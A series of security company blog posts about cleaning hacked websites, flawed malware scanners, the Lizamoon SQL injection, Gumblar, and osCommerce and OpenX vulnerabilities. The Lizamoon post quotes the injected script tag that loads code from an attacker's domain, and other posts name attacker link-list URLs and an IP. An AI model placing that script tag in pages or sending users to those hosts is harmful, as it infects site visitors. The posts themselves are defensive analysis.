Website Malware | White Fir Design Blog

Google Moving in The Wrong Direction When It Comes to Information Provided on Hacked Websites

We clean up a lot of hacked websites, which means we often are dealing with website that flagged as serving malware by Google. In Google’s Search Console you can get whatever details they are providing on the issue they detected and request a review to have their warning removed after the website has been cleaned up. We often find that all they provide with is sample URLs where they have found the issue, but no details of the issue due to them being unable to isolate the malicious code being served. For us that usually isn’t a problem, but for those less experienced providing more information on what they are detecting in more cases would likely to improve cleanups. But now it seems things are going further in the wrong direction, as this week we dealt with a website where Google provided no details whatsoever on Security Issues page of the Search Console:

They also left a message where they did list a URL, so it seems the various pieces of their system are not working well together:

Hopefully Google will improve this, as in this case (and probably in plenty of others), the website only got properly cleaned up after Google started flagging it, so what they are doing is important, but could be better.

False Positives Highlight Deeply Flawed Website Malware Scanners

We often get asked by clients about whether they should be using some sort of malware scanner on their website and our answer has always been no. Two major reasons for this are that with proper security websites can be protected from being infected in the first place and that these website malware scanners are not very good at identify malware. What we haven’t considered before was the issue with these scanners producing false positives. We know that when people are told that their websites are infected with malware it is stressful and it can lead to them taking drastic, including deleting the websites. Deleting a website won’t always solve the underlying that caused the infection when a website is infected, but with a website that is not infected it is just a waste. This is why it is critical for those developing malware scanners to be very careful in making sure their scanners work properly and properly detailing what they are detecting. This is something that has been disregarded by the developers of the AntiVirus WordPress plugin and the Sucuri SiteCheck website malware scanner, as we recently discovered when we were contacted by someone unfortunate enough to have run into these two tools.

We were contacted, as we often are, by someone who wasn’t sure it there website was infected. (We are always happy to do a quick free check to confirm whether a website is infected or in some other way hacked. For potential clients that contact about dealing with a hacking issue we always do this first, as we find on a regular basis that the issue they are experiencing are not related to a hack or have actually already been resolved.) They and their web host couldn’t find anything wrong their website, but they were getting warning from two website malware scanning tools. As with any check we do, it involves discussing what leads them to suspect the website is hacked and us doing some of a variety of manual checks. Automated scanners are not reliable way for detecting issues for a number of reasons. In this instance the two scanners were falsely identifying two different items as being malware. We were able to determine this after a quick review of what they were reporting.

By looking at the false positives a malware scanner produces you can get a good sense of how good or bad it is.

AntiVirus

On the page for the AntiVirus plugin on the WordPress.org Plugin Directory the plugin is described as a “useful plugin that will scan your theme templates for malicious injections” and “a easy and safe tool to protect your blog install against exploits, malware and spam injections”.

On the website we were contacted about the plugin was displaying a warning in the Admin Bar that a virus was suspected:

What was being identified is shown in the screenshot below:

As shown in the screenshot the suspected virus was the use of the statement require_once. The require_once statement causes a file to be included, with the further requirements that it only be included once and that an error occur if the inclusion fails. This isn’t a malicious statement and it isn’t something that should on its own be used to claim that malware is suspected. It is possible that something malicious could be included with this statement, but as it was with this website, there are perfectly legitimate uses of it.

After seeing this result we wondered why the use of this statement was being identified as a suspected virus, did the developer of plugin believe that this particular statement was only used with malware? What about the similar include, include_once, and require statements? When went to start testing this, we saw a startling result. As can been seen in the screenshot below, the default theme in WordPress 3.4 was being identified as suspected of containing a virus, for simply using the require statement:

A theme using any of the statements used for including files is identified as being suspected of infected, despite that clearly not being at a reliable indicator of a virus. It is quite troubling that something that is so clearly inaccurate is allowed to be in the Plugin Directory. At the very least it should have a very visible warning explaining what the scanner actually identifies. Looking at the support forum for the plugin you can see there are numerous threads involving these false positives. (There is also a topic where the self proclaimed “Hack Repair Guy” says that he recommends “this to my clients for basic security”, which is affirmation for our warning about that guy last year.)

Sucuri SiteCheck

In their marketing material Sucuri describes their SiteCheck website malware scanner as being “highly sophisticated” and that it “leverages internal definitions that are refined daily, external sources, and intelligence to identify both potentially harmful signatures and anomalies that may not be known”. They also claim to be the “de facto standard in website malware monitoring”.

As can been seen in the screenshot below Sucuri’s scanner claimed “Site infected with malware” and that it contained known JavaScript malware:

We looked at the code that they identified as malicious and found it to be legitimate and non-malicious. We also found that it was on a legitimate website and we could find no indication that website in question was recently infected, so why was Sucuri flagging it? To try to figure that out we looked at the malware entry that they were flagging the code for. The description given is “A suspicious remote javascript include was identified. It was set in an non-standard place (before the <html> tag) and was used to distribute malware to someone visiting the infected web site.” It is true that sometimes malware is placed at locations were you wouldn’t usually find legitimate code and it would make sense for a malware scanner to flag that for additional scrutiny, beyond a regular scan of the code for malware.

What appears to have happened is that Sucuri automatically flagged the code based on their signature without actually scanning the JavaScript file for malicious code, which, if their scanner was reliable, would have determined that it was not malicious. That should be a basic part of scanning the page for malware even if it wasn’t in that odd location or part of a signature. When you don’t actually scan things for malware before falsely identifying them as malware, you really shouldn’t be calling what you do website malware scanning.

If you are to believe their marketing claims about how great their website malware scanner is, you have to wonder how much worse the other scanners are. The more troubling aspect of this for their customers is the fact Sucuri’s idea of protecting websites is detecting that they already have been hacked and then cleaning them up. Putting aside the fact for the moment that properly secured websites are highly unlikely to be hacked and that allowing websites to be hacked has consequences even after they are clean again, with a scanner this poor it is unlikely that it will actually do a good job of detecting when website are infected. You really are much better off spending your time and money on actually keeping the website secure in the first place, instead hoping that when the website does get hacked it can be detected and cleaned properly.

The Hype Surrounding “Massive” Malware SQL Injections

Every so often there is another round of a fairly unsophisticated SQL injection that places malware scripts into poorly coded websites occurs and then there is a enviably a security company that hypes the infections and flood of new stories about it. Another round of the infection occurred in the last week, dubbed Lizamoon by Websense who is the company to hype this round (we previously discussed Websense’s false claims of WordPress security issues). From what we have seen dealing with malware infected websites and other data confirms is that these “massive” infections are not massive as they are claimed to be each time, in fact they are of average size for a malware infection of websites. Most of those average size malware infections never receive any press coverage. The reason these attacks seems to receive the coverage is because of the use of Google search results to provide a large but highly inaccurate measure of the size of the infection.

The most important thing to understand about these infections, and this often not mentioned, is that they are completely preventable by properly sanitizing user input data that will be sent to a database. Anyone coding should be well aware of this the possibility of a SQL injection , these specific attacks have been occurring for years, and take the necessary precautions. Prevent SQL injections is one of key things mentioned in our article on securing your website from hackers. Widely used software like WordPress, Drupal, and Joomla are not susceptible to such a basic SQL injection. Unfortunately, even websites that get hit often don’t bother to take the necessary precautions to prevent these SQL injections. Instead, they often just remove the code from the database. There are also unethical website malware removal companies that will remove the infection from the database without insuring the SQL injection vulnerability has been fixed.

Normally you cannot search for a malware using Google’s search engine. This is due the fact Google only makes a web page’s text content searchable and not the HTML code that makes up the page. The malware either consists of a script of iframe tag, both of with are HTML code that would not be searchable. What happens with these injections is that they get placed throughout out the database, in some instances they are placed in a location where the code from the database is escaped while the web page is being generated. So in the source code it would look like

<script src=http://lizamoon.com/ur.php></script>

instead of

<script src=http://lizamoon.com/ur.php></script>

.Because the code has been escaped it will appear as text in the pages and therefore be searchable. When the code is placed into the website in escaped form it is not infectious.

There are several problems with trying to use Google search results to measure the size infection:

The number that Google provides in an estimate, it’s not all clear how accurate it is. If you include duplicate pages currently you can only see 604 results for the search “<script src=http://lizamoon.com/ur.php></script>” despite there being “about 1,470,000 results”.
The number includes any page, like this one, that mentions the code.
Not all pages that have the code are actually infection, because the code only searchable if it escaped. So it would require that another instance that is not escaped be one the page for it to be infectious. We checked the first 10 results for the search “<script src=http://lizamoon.com/ur.php></script>” which were still injected and found that only four of them were infectious.
Most malware infections are not measurable using search results making a comparison with them impossible using the metric.
Web pages are not a good measure of the reach of a malware infection. A page could be accessed millions of times a day or never.

The ideal way to measure the size of a malware infection would be to determine how many times each pages with the malware would be accessed. There is not a tool able to do this and there is unlikely to be one. What we have found to best indicator available to measure the size of a malware infection size is Google Safe Browsing system. This system scans web pages from across the Internet for malware. This data is used to block infected websites in Google’s search results and is also used for malware protection in the FireFox, Chrome, and Safari web browsers. It does not scan all websites and does not scan all of the websites it does scan equally, so the number won’t include every infected website. Google doesn’t indicate what criteria it uses to determine how often it scan various, but in general it scans more popular website more often so it should provide a good measure of how many website that people are likely to access were infected. At the moment the system reports that lizamoon.com has infected 1436 domains. That is far lower than the nearly 4 million websites claimed to have been infected according to one source, far lower than the 1,470,000 reported for a search on “<script src=http://lizamoon.com/ur.php></script>”, and far lower than “hundreds of thousands of domains” claimed by Websense. By comparison, the IP address 86.55.140.203 that is called by a infection that has recently been hitting many osCommerce based websites is reported to have acted as an intermediary for 2957 sites.

Clearing Up Recent Information about Gumblar (Kroxxu) Malware

Avast has released a new analysis of the latest variant of the Gumblar ( which Avast refers to as Kroxxu) malware. This analysis and the media coverage of it contains some misleading information about the malware.

Some of the media coverage has claimed this new or newly detected, but this variant has been around since October of 2009 and was detected at the time.

Avast emphasizes that the malware makes use of redirection to making the malware sound more nefarious and advanced than it actually is. The malware is not the only malware to use redirection. Other malware makes use of redirection as part of it basic setup, whereas Gumblar’s is a by-product of how it operates. It is not an attempt to hide the malware as Avast believes is possibly the case or a glitch as they also believe is possible. Instead of hosting the code that infects user’s computers on server controlled by the person(s) behind the malware, as is the standard practice, the code is placed on some of the websites that they have compromised. The websites they use for this purpose are frequently changed and when they switch they set the old ones to redirect to the new ones. Gumblar updates the other infected websites to call these new infected websites, but leaves calls to the old website in JavaScript files leading to the redirects.

Avast refers to infected servers, but the malware does not affect the servers at all instead affecting individual websites hosted on a server. This is an important distinction because on shared servers Gumblar would not infect other websites which it does not have FTP credentials for. Avast claims that there is “difficulty in removing” it, which is not true. If a clean backup is available the website can simply be reverted to that. If that is not available the malware code needs to be removed from the files, which is no more difficult than any of malware added to websites. More sophisticated malware does infect the server itself, making it more difficult to clean.

Avast also emphasizes that the infections have remained on websites for long periods of time, which is true, but this is not out of the ordinary for website malware.

While it is difficult to measure the size of website malware infections, Avast currently claimed and historical size is not above the level of many of the larger malware infections.

osCommerce 2.3 Includes Fixes for Security Vulnerabilities and Security Enhancements

More that two and half years after the last version of osCommerce was released and more than a year after a serious security vulnerability was discovered a new version of osCommerce has been released. The new version 2.3 was released last Friday and version 2.3.1, a minor maintenance release, was released two days later.

osCommerce has been a frequent target for hackers lately, mainly being used to spread malware, due to a number of security vulnerabilities. Version 2.3 of osCommerce removed a vulnerable file, file_manager.php, another vulnerable file has been changed to remove the vulnerability, and a vulnerability that allowed bypassing the login system has been fixed.

Unfortunately, it does not appear that osCommerce has decided that admin directory should be secure by default. They are still recommending that the admin directory be renamed and password protection be enabled on the directory. If the admin directory was secure, as it should be, neither of these should be necessary. The only other major web software that recommends renaming the admin directory as standard practice is Zen Cart and none recommend password protecting the directory as standard practice. Zen Cart display a prominent warning if the admin directory has not been renamed, osCommerce provides no warning if the admin has not been renamed or password protection of the admin directory has not been enabled. osCommerce does support renaming the admin directory during the installation process (on the Online Store Settings page) and makes it possible to enable password protection of the directory by just changing a configuration setting (located at configuration>administrators).

The new version also includes a number of security enhancements. The Portable PHP hashing framework has been added to more securely hash passwords, this software is also used in WordPress. A customer session token has been added “to forms to protect against Cross-Site Request Forgeries (CSRF)”. A new section of the admin, Security Directory Permissions, displays the current write permission of the various osCommerce directories and what are the recommend permissions are. A built-in version checker allows for checking if a new version of osCommerce has been released.

If you are running an older version of osCommerce and are not upgrading immediately you should secure your website by renaming and password protecting the admin directory if you have not already done so.

Hetzner Online Hosts Critical Component of SEO Poisoning Campaign

Hetzner Online, a large German hosting provider, provides hosting for three websites that are critical for a major SEO poisoning campaign. SEO poisoning involves getting web pages listed in search engines that when accessed attempt to infect the computer with malware.

This particular campaign involves two sets of hacked websites and the websites hosted by Hetzner Online. The first set of websites has been hacked to display the content from a file requested from getalllinks.info, dvc44ftgr.com, or uniteddomainsweb.com when a page from the hacked website is requested by a search engine. The files from getalllinks.info, dvc44ftgr.com, and uniteddomainsweb.com, hosted by Hetzner Online at the IP address 78.46.71.6, include links to pages on the second set of hacked websites. The content of those files can be seen at http://www.getalllinks.info/links/0.txt, http://www.dvc44ftgr.com/links/0.txt, or and http://www.uniteddomainsweb.com/links/0.txt. Search engines crawl those pages on the second set of hacked websites and they get included in search engines results. When people access the pages through search engines they are redirected to fake anti-virus scanner that attempts to infect their computers with malware. Without the three domains hosted by Hetzner Online the pages on the second set of websites are never crawled and never get included in the search results where the could be accessed by users.

We contacted Hetzner Online about the issue a month ago. We receive a message acknowledging our message, but they have taken no action beyond that. Hetzner Online is not the first prominent host to have provided service for this SEO poisoning campaign. The Planet previously provided service for these domains and continued to host these domains for three months after we contacted them.

Websense Threat Report Repeats False Claims of WordPress Hackings

In Websense’s 2010 Threat Report they listed WordPress Attacks as on of the significant events of the year. They also claimed that WordPress “was hacked numerous times in 2010”. While its true that some outdated WordPress installations were hacked during the year (as they and other web software have been for years), the hacks that they refer to in their report, which were much larger than any actual hacks of WordPress, were not hacks of WordPress at all. The hacks they refer to were actually hacks that targeted hosting providers that would allow malicious code to be added to websites hosted with the provider whether they were running WordPress, other software, or no software at all.

In most of the hacks the malicious code was placed in all files that had a .php extension. WordPress, by the nature of being the most popular web software, was the most of often affected, but all web software that have files with a .php extension were also affected. In other cases the hacks targeted database fields specific to WordPress, but they could have affected any other software that utilized a database if the hacker had chose to target them instead of WordPress.

Websense is not alone is making these false claims, other supposed security experts also made similar claims and some hosting provider have attempted to lame blame on WordPress. Network Solutions was the only one to later apologize for blaming WordPress.

Websense also claimed that “numerous vulnerabilities were known to exist during the height of the attacks”. Seeing as WordPress was not hacked as claimed, the claimed numerous vulnerabilities also don’t exist. In fact during the year the only security vulnerability that required the release of a new version of WordPress was one that allowed “logged in users can peek at trashed posts belonging to other authors”. This vulnerability would not have allowed the WordPress installation to have been hacked.

Making false claims about WordPress’s security damages WordPress reputation without improving security. In fact it may have the effect of decreasing security, as it may lead to people to use software that does not focus on security as well as WordPress does. WordPress responds quickly to security issues, automatically informs users of upgrade within their software, and makes it relatively easy to upgrade the software as well. By comparison two web software apps that have actually had major hackings in 2010 have not responded properly, osCommerce has chosen not release a patch for their security vulnerabilities and OpenX has recommend a fix for a vulnerablility that actually causes future upgrades to fail.

Deletion of ofc_upload_image.php Causes Failure of OpenX Upgrade

Last month it was disclosed that there was a vulnerability in the Video Ads plugin for OpenX. The vulnerability is contained in the ofc_upload_image.php file located in/www/admin/plugins/videoReport/lib/ofc2/ directory and is currently being exploited to cause ad servers to include malware on the banner pages they serve. The Video Ads plugin was first included with OpenX in version 2.8.4 and the version included with 2.8.5 and 2.8.6 also contained the vulnerability. The version including in OpenX 2.8.7 does not include the vulnerability, the ofc_upload_image.php file is empty.

In the Product Updates page listing for OpenX 2.8.7, in the OpenX admin interface, it states:

If you recently upgraded to version 2.8.6, you can simply install an upgraded video ad plug-in available [here] or remove the following file: admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php from your installation.

Others have also made the suggestion that should delete the file. You should not delete the file as this will cause future upgrades of OpenX to fail. Instead, if you are running version 2.8.6 and are not upgrading to version 2.8.7 you should delete the content of the file but not the file itself. If you are currently running version 2.8.5 or below you should upgrade to 2.8.7 as those versions contain other security vulnerabilities.

If you have not done an upgrade since deleting the file adding an empty file named ofc_upload_image.php in the /www/admin/plugins/videoReport/lib/ofc2/ directory will prevent a future upgrade from failing.

If you are currently doing an upgrade and are receiving a red box that says “One or more plugin files couln’t be located, check the install.log file for more information” after you enter the path on the page that says “Provide the path to your previous OpenX installation.” you need to add an empty file named ofc_upload_image.php in the /www/admin/plugins/videoReport/lib/ofc2/ directory and then reenter the path. If you are not sure what the path is you can find it in the configuration file. The path is listed in the webDir parameter, make sure to remove the /www/images from the end of the path listed in the parameter.

If you previously attempted the upgrade and now receive a message that says “Your OpenX database and file structure are both using the most recent version and therefore no upgrade is required at this time. Please click Continue to proceed to the OpenX administration panel.” when you tried to try to perform the upgrade again you have two options. For the first, you will need to change the value of the oa_version record, in the _application_variable table of the database used by OpenX , to version number of OpenX you are currently running and then you need to start the upgrade process again (including deleting the new installation and then uploading a new copy of it). For the second, you will need replace the old OpenX installation with the new one and then you will then need to manually reinstall the plugins. The plugin installation files can be found in the /etc/plugins directory of the OpenX download.

The Security Step Every osCommerce Website Needs To Take Now

osCommerce has had known security issue for some time and we have seen websites that have been have exploited for some time as well. We have recently seen a spike in websites being exploited. The security issue, which has been known about since at least July of 2009, allows a hacker to add files to the website by exploiting a vulnerability in a file located in the admin directory. Some of the files added to the websites are backdoor scripts that allow the hacker to make modifications to the website. We have seen this vulnerability exploited by hackers to add malware, spam, and phishing pages to websites.

There is not fix for the issues and it does not appear that there the osCommerce developers are going to create one. While the best solution would be to move to software that addresses security issues, a workaround that will make it very hard for them to be exploited is to rename and password protect the admin directory. Most hacking attempts will attempt to exploit the vulnerability at the default admin directory location and will not look for the admin directory at another location. By password protecting the directory, the hacker would have to guess the username and password for the directory before being able to exploit the vulnerability. You will also need to update the /includes/configure.php file located in admin directory with the new admin directory name, after you have renamed the directory. You can read more about implementing this in a topic on the osCommerce forum. Another topic on the forum provides more information on securing osCommerce.

Google Continues To Index Pages From SEO Poisoning Campaign

Google continues to include in its search index, pages from a major SEO poisoning campaign. SEO poisoning involves getting web pages listed in search engines that when accessed attempt to infect the computer with malware. We have repeatedly reported a listing of pages used by this campaign, that is available at http://www.getalllinks.info/links/0.txt, to Google using their page for reporting a malware page over a period of several months. Google has continued to list these pages in its index leading to an unknown, but possibly large number of computers to become infected with malware . These page have also not been flagged as being malicious by Google’s Safe Browsing system during the period when they are most likely to be infect users computers.

Our recent experience has shown that public releasing the information get Google to respond, while there reporting mechanisms get ignored. We recently posted about Google providing hosting for files used in attempted hackings, after having reporting using their mechanism multiple times without any action being taken Google disabled the account the day after our posting.

Other companies have allowed this SEO poisoning campaign to continue, including The Planet who provides hosting for a critical component of the campaign.